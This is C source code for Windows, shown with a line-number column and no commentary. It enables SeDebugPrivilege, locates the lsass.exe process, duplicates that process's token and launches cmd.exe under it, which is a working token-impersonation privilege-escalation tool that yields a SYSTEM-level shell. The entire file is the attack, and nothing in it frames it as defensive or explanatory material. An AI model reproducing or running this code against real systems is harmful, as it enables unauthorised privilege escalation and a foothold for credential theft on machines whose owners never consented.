1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
| #include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>
BOOL EnableSeDebugPrivilege() {
HANDLE Token;
LUID LuidValue = { 0 };
TOKEN_PRIVILEGES TP = { 0 };
BOOL Aret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &Token);
if (Aret == NULL) {
printf("GetTokenHandle Fail\n");
return FALSE;
}
BOOL Bret = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &LuidValue);
if (Bret == NULL) {
printf("LookupPrivilegeValue Fail\n");
return FALSE;
}
TP.PrivilegeCount = 1;
TP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid = LuidValue;
BOOL Cret = AdjustTokenPrivileges(Token, FALSE, &TP, 0, 0, 0);
if (GetLastError() == ERROR_SUCCESS) {
printf("AdjustToken Success\n");
return TRUE;
}
printf("AdjustToken Fail\n");
printf("ErrorCode: %d\n", GetLastError());
return FALSE;
}
int FindProcessId(LPCTSTR ProcessName) {
PROCESSENTRY32 PE = { 0 };
PE.dwSize = sizeof(PE);
HANDLE ProcessIDALL = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32First(ProcessIDALL, &PE)) {
do {
if (lstrcmpi(ProcessName, PE.szExeFile) == 0) {
return PE.th32ProcessID;
}
} while (Process32Next(ProcessIDALL, &PE));
}
return 0;
}
int main() {
EnableSeDebugPrivilege();
int pid = FindProcessId(L"lsass.exe");
printf("pid: %d\n", pid);
HANDLE process_token;
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE New_Token;
STARTUPINFOW si = {};
PROCESS_INFORMATION pi = {};
OpenProcessToken(process, TOKEN_DUPLICATE | TOKEN_QUERY, &process_token);
DuplicateTokenEx(process_token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &New_Token);
BOOL ret = CreateProcessWithTokenW(New_Token, LOGON_NETCREDENTIALS_ONLY, L"C:\\windows\\system32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
printf("%d\n", GetLastError());
}
|
